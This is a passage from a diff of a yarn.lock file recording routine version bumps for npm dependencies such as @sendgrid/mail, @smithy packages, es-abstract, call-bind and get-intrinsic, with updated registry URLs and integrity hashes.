+865,9 @@ "@jridgewell/trace-mapping" "^0.3.9" "@jridgewell/resolve-uri@^3.1.0": - version "3.1.1" - resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz#c08679063f279615a3326583ba3a90d1d82cc721" - integrity sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA== + version "3.1.2" + resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6" + integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw== "@jridgewell/set-array@^1.0.1": version "1.1.2" @@ -980,13 +984,13 @@ resolved "https://registry.yarnpkg.com/@sapphire/snowflake/-/snowflake-3.5.3.tgz#0c102aa2ec5b34f806e9bc8625fc6a5e1d0a0c6a" integrity sha512-jjmJywLAFoWeBi1W7994zZyiNWPIiqRRNAmSERxyg93xRGzNYvGjlZ0gR6x0F4gPRi2+0O6S71kOZYyr3cxaIQ== -"@sendgrid/client@^8.1.0": - version "8.1.0" - resolved "https://registry.yarnpkg.com/@sendgrid/client/-/client-8.1.0.tgz#502865bbffe9442f778a14af1995892f5d4adf14" - integrity sha512-Kp2kKLr307v/HnR3uGuySt0AbCkeG7naDVOzfPOtWvKHVZIEHmKidQjJjzytVZNYWtoRdYgNfBw6GyUznGqa6w== +"@sendgrid/client@^8.1.1": + version "8.1.1" + resolved "https://registry.yarnpkg.com/@sendgrid/client/-/client-8.1.1.tgz#5c15b59973da3e108257883e408c4afd74844248" + integrity sha512-pg0gYhAdyQil3Aga7/xHVcZFpvDAjAQMNBgMy5njTSkjACoWHmpSi1nWBZM7nIH/ptcRNMpnBbm9B5EvQ8fX2w== dependencies: "@sendgrid/helpers" "^8.0.0" - axios "^1.6.0" + axios "^1.6.4" "@sendgrid/helpers@^8.0.0": version "8.0.0" @@ -996,17 +1000,17 @@ deepmerge "^4.2.2" "@sendgrid/mail@*": - version "8.1.0" - resolved "https://registry.yarnpkg.com/@sendgrid/mail/-/mail-8.1.0.tgz#873486233c511f41d98f69290f9664c1d14e205e" - integrity sha512-WkE0qwOrJMX9oQ+Xvtl3CdmucD6/iKw6go0VPoPieVlfXc43rbIf91wvtO6m7sKPnzxw3G+8rekBgXibmP4S8Q== + version "8.1.1" + resolved "https://registry.yarnpkg.com/@sendgrid/mail/-/mail-8.1.1.tgz#506bc02c3a884d5c979278d6966f118afce37f93" + integrity sha512-tNtmgWLtBA7ZxKtPuEGOaIdEZP1vZSXsj5zg9iuoDBPVj/fNz+7LWzndvTcKumHk5eaDrS0UPXJqBm61m3+H1A== dependencies: - "@sendgrid/client" "^8.1.0" + "@sendgrid/client" "^8.1.1" "@sendgrid/helpers" "^8.0.0" -"@sideway/address@^4.1.4": - version "4.1.4" - resolved "https://registry.yarnpkg.com/@sideway/address/-/address-4.1.4.tgz#03dccebc6ea47fdc226f7d3d1ad512955d4783f0" - integrity sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw== +"@sideway/address@^4.1.5": + version "4.1.5" + resolved "https://registry.yarnpkg.com/@sideway/address/-/address-4.1.5.tgz#4bc149a0076623ced99ca8208ba780d65a99b9d5" + integrity sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q== dependencies: "@hapi/hoek" "^9.0.0" @@ -1039,10 +1043,10 @@ "@smithy/util-middleware" "^2.1.1" tslib "^2.5.0" -"@smithy/core@^1.3.1": - version "1.3.1" - resolved "https://registry.yarnpkg.com/@smithy/core/-/core-1.3.1.tgz#ecedc564e68453b02c20db9e8435d59005c066d8" - integrity sha512-tf+NIu9FkOh312b6M9G4D68is4Xr7qptzaZGZUREELF8ysE1yLKphqt7nsomjKZVwW7WE5pDDex9idowNGRQ/Q== +"@smithy/core@^1.3.2": + version "1.3.2" + resolved "https://registry.yarnpkg.com/@smithy/core/-/core-1.3.2.tgz#e11f3860b69ec0bdbd31e6afaa54963c02dc7f8e" + integrity sha512-tYDmTp0f2TZVE18jAOH1PnmkngLQ+dOGUlMd1u67s87ieueNeyqhja6z/Z4MxhybEiXKOWFOmGjfTZWFxljwJw== dependencies: "@smithy/middleware-endpoint" "^2.4.1" "@smithy/middleware-retry" "^2.1.1" @@ -1322,10 +1326,10 @@ bowser "^2.11.0" tslib "^2.5.0" -"@smithy/util-defaults-mode-node@^2.1.1": - version "2.1.1" - resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.1.1.tgz#0910ee00aac3e8a08aac3e6ae8794e52f3efef02" - integrity sha512-tYVrc+w+jSBfBd267KDnvSGOh4NMz+wVH7v4CClDbkdPfnjvImBZsOURncT5jsFwR9KCuDyPoSZq4Pa6+eCUrA== +"@smithy/util-defaults-mode-node@^2.2.0": + version "2.2.0" + resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.2.0.tgz#72fd6f945c265f1ef9be647fe829d55df5101390" + integrity sha512-iFJp/N4EtkanFpBUtSrrIbtOIBf69KNuve03ic1afhJ9/korDxdM0c6cCH4Ehj/smI9pDCfVv+bqT3xZjF2WaA== dependencies: "@smithy/config-resolver" "^2.1.1" "@smithy/credential-provider-imds" "^2.2.1" @@ -1413,9 +1417,9 @@ integrity sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A== "@types/geojson@^7946.0.10": - version "7946.0.13" - resolved "https://registry.yarnpkg.com/@types/geojson/-/geojson-7946.0.13.tgz#e6e77ea9ecf36564980a861e24e62a095988775e" - integrity sha512-bmrNrgKMOhM3WsafmbGmC+6dsF2Z308vLFsQ3a/bT8X8Sv5clVYpPars/UPq+sAaJP+5OoLAYgwbkS5QEJdLUQ== + version "7946.0.14" + resolved "https://registry.yarnpkg.com/@types/geojson/-/geojson-7946.0.14.tgz#319b63ad6df705ee2a65a73ef042c8271e696613" + integrity sha512-WCfD5Ht3ZesJUsONdhvm84dmzWOiOzOAqOncN0++w0lBw1o8OuDNJF2McvvCef/yBqb/HYRahp1BYtODFQ8bRg== "@types/ldapjs@^2.2.2": version "2.2.5" @@ -1425,9 +1429,9 @@ "@types/node" "*" "@types/node@*": - version "20.11.9" - resolved "https://registry.yarnpkg.com/@types/node/-/node-20.11.9.tgz#959d436f20ce2ee3df897c3eaa0617c98fa70efb" - integrity sha512-CQXNuMoS/VcoAMISe5pm4JnEd1Br5jildbQEToEMQvutmv+EaQr90ry9raiudgpyDuqFiV9e4rnjSfLNq12M5w== + version "20.11.19" + resolved "https://registry.yarnpkg.com/@types/node/-/node-20.11.19.tgz#b466de054e9cb5b3831bee38938de64ac7f81195" + integrity sha512-7xMnVEcZFu0DikYjWOlRq7NTPETrm7teqUT2WkQjrTIkEgUyyGdWsj/Zg8bEJt5TNklzbPD1X3fqfsHw3SpapQ== dependencies: undici-types "~5.26.4" @@ -2278,13 +2282,13 @@ array-back@^1.0.2, array-back@^1.0.3, array-back@^1.0.4: dependencies: typical "^2.6.0" -array-buffer-byte-length@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz#fabe8bc193fea865f317fe7807085ee0dee5aead" - integrity sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A== +array-buffer-byte-length@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz#1e5583ec16763540a27ae52eed99ff899223568f" + integrity sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg== dependencies: - call-bind "^1.0.2" - is-array-buffer "^3.0.1" + call-bind "^1.0.5" + is-array-buffer "^3.0.4" array-each@^1.0.1: version "1.0.1" @@ -2347,17 +2351,18 @@ array.prototype.reduce@^1.0.6: es-array-method-boxes-properly "^1.0.0" is-string "^1.0.7" -arraybuffer.prototype.slice@^1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.2.tgz#98bd561953e3e74bb34938e77647179dfe6e9f12" - integrity sha512-yMBKppFur/fbHu9/6USUe03bZ4knMYiwFBcyiaXB8Go0qNehwX6inYPzK9U0NeQvGxKthcmHcaR8P5MStSRBAw== +arraybuffer.prototype.slice@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz#097972f4255e41bc3425e37dc3f6421cf9aefde6" + integrity sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A== dependencies: - array-buffer-byte-length "^1.0.0" - call-bind "^1.0.2" - define-properties "^1.2.0" - es-abstract "^1.22.1" - get-intrinsic "^1.2.1" - is-array-buffer "^3.0.2" + array-buffer-byte-length "^1.0.1" + call-bind "^1.0.5" + define-properties "^1.2.1" + es-abstract "^1.22.3" + es-errors "^1.2.1" + get-intrinsic "^1.2.3" + is-array-buffer "^3.0.4" is-shared-array-buffer "^1.0.2" asap@~2.0.3: @@ -2446,10 +2451,12 @@ atob@^2.1.2: resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9" integrity sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg== -available-typed-arrays@^1.0.5: - version "1.0.5" - resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz#92f95616501069d07d10edb2fc37d3e1c65123b7" - integrity sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw== +available-typed-arrays@^1.0.6, available-typed-arrays@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846" + integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ== + dependencies: + possible-typed-array-names "^1.0.0" aws-sign2@~0.7.0: version "0.7.0" @@ -2488,7 +2495,7 @@ axios@^0.27.2: follow-redirects "^1.14.9" form-data "^4.0.0" -axios@^1.6.0: +axios@^1.6.4: version "1.6.7" resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.7.tgz#7b48c2e27c96f9c68a2f8f31e2ab19f59b06b0a7" integrity sha512-/hDJGff6/c7u0hDkvkGxR/oy6CbCs8ziCsC7SqmhjfozqiJGc8Z11wrv9z9lYfY4K8l+H9TpjcMDX0xOZmx+RA== @@ -3222,12 +3229,12 @@ brotli@^1.3.3: base64-js "^1.1.2" browserslist@^4.22.2: - version "4.22.3" - resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.22.3.tgz#299d11b7e947a6b843981392721169e27d60c5a6" - integrity sha512-UAp55yfwNv0klWNapjs/ktHoguxuQNGnOzxYmfnXIS+8AsRDZkSDxg7R1AX3GKzn078SBI5dzwzj/Yx0Or0e3A== + version "4.23.0" + resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.23.0.tgz#8f3acc2bbe73af7213399430890f86c63a5674ab" + integrity sha512-QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ== dependencies: - caniuse-lite "^1.0.30001580" - electron-to-chromium "^1.4.648" + caniuse-lite "^1.0.30001587" + electron-to-chromium "^1.4.668" node-releases "^2.0.14" update-browserslist-db "^1.0.13" @@ -3379,14 +3386,16 @@ caching-transform@^3.0.2: package-hash "^3.0.0" write-file-atomic "^2.4.2" -call-bind@^1.0.0, call-bind@^1.0.2, call-bind@^1.0.4, call-bind@^1.0.5: - version "1.0.5" - resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.5.tgz#6fa2b7845ce0ea49bf4d8b9ef64727a2c2e2e513" - integrity sha512-C3nQxfFZxFRVoJoGKKI8y3MOEo129NQ+FgQ08iye+Mk4zNZZGdjfs06bVTr+DBSlA66Q2VEcMki/cUCP4SercQ== +call-bind@^1.0.2, call-bind@^1.0.5, call-bind@^1.0.6, call-bind@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.7.tgz#06016599c40c56498c18769d2730be242b6fa3b9" + integrity sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w== dependencies: + es-define-property "^1.0.0" + es-errors "^1.3.0" function-bind "^1.1.2" - get-intrinsic "^1.2.1" - set-function-length "^1.1.1" + get-intrinsic "^1.2.4" + set-function-length "^1.2.1" camel-case@^3.0.0: version "3.0.0" @@ -3411,10 +3420,10 @@ camelcase@^5.0.0: resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320" integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg== -caniuse-lite@^1.0.30001580: - version "1.0.30001581" - resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001581.tgz#0dfd4db9e94edbdca67d57348ebc070dece279f4" - integrity sha512-whlTkwhqV2tUmP3oYhtNfaWGYHDdS3JYFQBKXxcUR9qqPWsRhFHhoISO2Xnl/g0xyKzht9mI1LZpiNWfMzHixQ== +caniuse-lite@^1.0.30001587: + version "1.0.30001588" + resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001588.tgz#07f16b65a7f95dba82377096923947fb25bce6e3" + integrity sha512-+hVY9jE44uKLkH0SrUTqxjxqNTOWHsbnQDIKjwkZ3lNTzUUVdBLBGXtj/q5Mp5u98r3droaZAewQuEDzjQdZlQ== caseless@~0.12.0: version "0.12.0" @@ -3494,9 +3503,9 @@ chokidar@^1.6.1: fsevents "^1.0.0" chokidar@^3.4.0: - version "3.5.3" - resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.3.tgz#1cf37c8707b932bd1af1ae22c0432e2acd1903bd" - integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw== + version "3.6.0" + resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.6.0.tgz#197c6cc669ef2a8dc5e7b4d97ee4e092c3eb0d5b" + integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw== dependencies: anymatch "~3.1.2" braces "~3.0.2" @@ -3946,9 +3955,9 @@ core-js@^2.0.1, core-js@^2.4.0, core-js@^2.4.1, core-js@^2.5.0: integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ== core-js@^3.30.2: - version "3.35.1" - resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.35.1.tgz#9c28f8b7ccee482796f8590cc8d15739eaaf980c" - integrity sha512-IgdsbxNyMskrTFxa9lWHyMwAJU5gXOPP+1yO+K59d50VLVAIDAbs7gIv705KzALModfK3ZrSZTPNpC0PQgIZuw== + version "3.36.0" + resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.36.0.tgz#e752fa0b0b462a0787d56e9d73f80b0f7c0dde68" + integrity sha512-mt7+TUBbTFg5+GngsAxeKBTl5/VS0guFeJacYge9OmHb+m058UwwIm41SE9T4Den7ClatV57B6TYTuJ0CX1MAw== core-util-is@1.0.2: version "1.0.2" @@ -4153,14 +4162,14 @@ defer-promise@^1.0.0: resolved "https://registry.yarnpkg.com/defer-promise/-/defer-promise-1.0.2.tgz#b79521c59cadadaed2d305385d30f8b05cbf9196" integrity sha512-5a0iWJvnon50nLLqHPW83pX45BLb4MmlSa1sIg05NBhZoK5EZGz1s8qoZ3888dVGGOT0Ni01NdETuAgdJUZknA== -define-data-property@^1.0.1, define-data-property@^1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.1.tgz#c35f7cd0ab09883480d12ac5cb213715587800b3" - integrity sha512-E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ== +define-data-property@^1.0.1, define-data-property@^1.1.2, define-data-property@^1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e" + integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A== dependencies: - get-intrinsic "^1.2.1" + es-define-property "^1.0.0" + es-errors "^1.3.0" gopd "^1.0.1" - has-property-descriptors "^1.0.0" define-properties@^1.1.3, define-properties@^1.2.0, define-properties@^1.2.1: version "1.2.1" @@ -4265,9 +4274,9 @@ discord-api-types@0.37.61: integrity sha512-o/dXNFfhBpYHpQFdT6FWzeO7pKc838QeeZ9d91CfVAtpr5XLK4B/zYxQbYgPdoMiTDvJfzcsLW5naXgmHGDNXw== discord-api-types@^0.37.12, discord-api-types@^0.37.41: - version "0.37.67" - resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.37.67.tgz#c4280aa122104ea74e103884ba27e8218210bef8" - integrity sha512-4HEzUEmwGPXWJdVhGZ/K+9eWs8kurdn5r/I8qD3/0hb14I0MZvx8K/JOyLhKLgcR4/8/jcr6Xej820BNgNXN7A== + version "0.37.70" + resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.37.70.tgz#81083c8a2eb01d0c94169c4bdf446a19ed70ba72" + integrity sha512-8EtfZR0KwOK+yP5q/llWILdUAPmGmF1LmcVUYf7+gtGigz2pu6WR38ZN+IWtMzohY1Ujl2u3KOdbFvrEz9EC8w== discord.js@14.6.0: version "14.6.0" @@ -4371,10 +4380,10 @@ ee-first@1.1.1: resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow== -electron-to-chromium@^1.4.648: - version "1.4.648" - resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.4.648.tgz#c7b46c9010752c37bb4322739d6d2dd82354fbe4" - integrity sha512-EmFMarXeqJp9cUKu/QEciEApn0S/xRcpZWuAm32U7NgoZCimjsilKXHRO9saeEW55eHZagIDg6XTUOv32w9pjg== +electron-to-chromium@^1.4.668: + version "1.4.677" + resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.4.677.tgz#49ee77713516740bdde32ac2d1443c444f0dafe7" + integrity sha512-erDa3CaDzwJOpyvfKhOiJjBVNnMM0qxHq47RheVVwsSQrgBA9ZSGV9kdaOfZDPXcHzhG7lBxhj6A7KvfLJBd6Q== emoji-regex@^7.0.1: version "7.0.3" @@ -4437,64 +4446,78 @@ error-ex@^1.2.0, error-ex@^1.3.1: dependencies: is-arrayish "^0.2.1" -es-abstract@^1.22.1: - version "1.22.3" - resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.22.3.tgz#48e79f5573198de6dee3589195727f4f74bc4f32" - integrity sha512-eiiY8HQeYfYH2Con2berK+To6GrK2RxbPawDkGq4UiCQQfZHb6wX9qQqkbpPqaxQFcl8d9QzZqo0tGE0VcrdwA== - dependencies: - array-buffer-byte-length "^1.0.0" - arraybuffer.prototype.slice "^1.0.2" - available-typed-arrays "^1.0.5" - call-bind "^1.0.5" - es-set-tostringtag "^2.0.1" +es-abstract@^1.22.1, es-abstract@^1.22.3: + version "1.22.4" + resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.22.4.tgz#26eb2e7538c3271141f5754d31aabfdb215f27bf" + integrity sha512-vZYJlk2u6qHYxBOTjAeg7qUxHdNfih64Uu2J8QqWgXZ2cri0ZpJAkzDUK/q593+mvKwlxyaxr6F1Q+3LKoQRgg== + dependencies: + array-buffer-byte-length "^1.0.1" + arraybuffer.prototype.slice "^1.0.3" + available-typed-arrays "^1.0.6" + call-bind "^1.0.7" + es-define-property "^1.0.0" + es-errors "^1.3.0" + es-set-tostringtag "^2.0.2" es-to-primitive "^1.2.1" function.prototype.name "^1.1.6" - get-intrinsic "^1.2.2" - get-symbol-description "^1.0.0" + get-intrinsic "^1.2.4" + get-symbol-description "^1.0.2" globalthis "^1.0.3" gopd "^1.0.1" - has-property-descriptors "^1.0.0" + has-property-descriptors "^1.0.2" has-proto "^1.0.1" has-symbols "^1.0.3" - hasown "^2.0.0" - internal-slot "^1.0.5" - is-array-buffer "^3.0.2" + hasown "^2.0.1" + internal-slot "^1.0.7" + is-array-buffer "^3.0.4" is-callable "^1.2.7" is-negative-zero "^2.0.2" is-regex "^1.1.4" is-shared-array-buffer "^1.0.2" is-string "^1.0.7" - is-typed-array "^1.1.12" + is-typed-array "^1.1.13" is-weakref "^1.0.2" object-inspect "^1.13.1" object-keys "^1.1.1" - object.assign "^4.1.4" - regexp.prototype.flags "^1.5.1" - safe-array-concat "^1.0.1" - safe-regex-test "^1.0.0" + object.assign "^4.1.5" + regexp.prototype.flags "^1.5.2" + safe-array-concat "^1.1.0" + safe-regex-test "^1.0.3" string.prototype.trim "^1.2.8" string.prototype.trimend "^1.0.7" string.prototype.trimstart "^1.0.7" - typed-array-buffer "^1.0.0" + typed-array-buffer "^1.0.1" typed-array-byte-length "^1.0.0" typed-array-byte-offset "^1.0.0" typed-array-length "^1.0.4" unbox-primitive "^1.0.2" - which-typed-array "^1.1.13" + which-typed-array "^1.1.14" es-array-method-boxes-properly@^1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz#873f3e84418de4ee19c5be752990b2e44718d09e" integrity sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA== -es-set-tostringtag@^2.0.1: - version "2.0.2" - resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.0.2.tgz#11f7cc9f63376930a5f20be4915834f4bc74f9c9" - integrity sha512-BuDyupZt65P9D2D2vA/zqcI3G5xRsklm5N3xCwuiy+/vKy8i0ifdsQP1sLgO4tZDSCaQUSnmC48khknGMV3D2Q== +es-define-property@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.0.tgz#c7faefbdff8b2696cf5f46921edfb77cc4ba3845" + integrity sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ== dependencies: - get-intrinsic "^1.2.2" - has-tostringtag "^1.0.0" - hasown "^2.0.0" + get-intrinsic "^1.2.4" + +es-errors@^1.2.1, es-errors@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f" + integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw== + +es-set-tostringtag@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.0.3.tgz#8bb60f0a440c2e4281962428438d58545af39777" + integrity sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ== + dependencies: + get-intrinsic "^1.2.4" + has-tostringtag "^1.0.2" + hasown "^2.0.1" es-to-primitive@^1.2.1: version "1.2.1" @@ -4537,9 +4560,9 @@ es6-symbol@^3.1.1, es6-symbol@^3.1.3: ext "^1.1.2" escalade@^3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40" - integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw== + version "3.1.2" + resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.2.tgz#54076e9ab29ea5bf3d8f1ed62acffbb88272df27" + integrity sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA== escape-html@^1.0.3, escape-html@~1.0.3: version "1.0.3" @@ -4757,9 +4780,9 @@ fast-xml-parser@4.2.5: strnum "^1.0.5" fast-xml-parser@^4.2.4: - version "4.3.3" - resolved "https://registry.yarnpkg.com/fast-xml-parser/-/fast-xml-parser-4.3.3.tgz#aeaf5778392329f17168c40c51bcbfec8ff965be" - integrity sha512-coV/D1MhrShMvU6D0I+VAK3umz6hUaxxhL0yp/9RjfiYUfAv14rDhGQL+PLForhMdr0wq3PiV07WtkkNjJjNHg== + version "4.3.4" + resolved "https://registry.yarnpkg.com/fast-xml-parser/-/fast-xml-parser-4.3.4.tgz#385cc256ad7bbc57b91515a38a22502a9e1fca0d" + integrity sha512-utnwm92SyozgA3hhH2I8qldf2lBqm6qHOICawRNRFu1qMe3+oqr+GcXjGqTmXTMGE5T4eC03kr/rlh5C1IRdZA== dependencies: strnum "^1.0.5" @@ -5162,9 +5185,9 @@ gauge@^4.0.3: wide-align "^1.1.5" gaxios@^6.0.0, gaxios@^6.0.3, gaxios@^6.1.1: - version "6.1.1" - resolved "https://registry.yarnpkg.com/gaxios/-/gaxios-6.1.1.tgz#549629f86a13e756b900f9ff7c94624670102938" - integrity sha512-bw8smrX+XlAoo9o1JAksBwX+hi/RG15J+NTSxmNPIclKC3ZVK6C2afwY8OSdRvOK0+ZLecUJYtj2MmjOt3Dm0w== + version "6.3.0" + resolved "https://registry.yarnpkg.com/gaxios/-/gaxios-6.3.0.tgz#5cd858de47c6560caaf0f99bb5d89c5bdfbe9034" + integrity sha512-p+ggrQw3fBwH2F5N/PAI4k/G/y1art5OxKpb2J2chwNNHM4hHuAOtivjPuirMF4KNKwTTUal/lPfL2+7h2mEcg== dependencies: extend "^3.0.2" https-proxy-agent "^7.0.1" @@ -5201,23 +5224,25 @@ get-caller-file@^2.0.1: resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e" integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== -get-intrinsic@^1.0.2, get-intrinsic@^1.1.1, get-intrinsic@^1.1.3, get-intrinsic@^1.2.0, get-intrinsic@^1.2.1, get-intrinsic@^1.2.2: - version "1.2.2" - resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.2.tgz#281b7622971123e1ef4b3c90fd7539306da93f3b" - integrity sha512-0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA== +get-intrinsic@^1.1.3, get-intrinsic@^1.2.1, get-intrinsic@^1.2.2, get-intrinsic@^1.2.3, get-intrinsic@^1.2.4: + version "1.2.4" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz#e385f5a4b5227d449c3eabbad05494ef0abbeadd" + integrity sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ== dependencies: + es-errors "^1.3.0" function-bind "^1.1.2" has-proto "^1.0.1" has-symbols "^1.0.3" hasown "^2.0.0" -get-symbol-description@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.0.0.tgz#7fdb81c900101fbd564dd5f1a30af5aadc1e58d6" - integrity 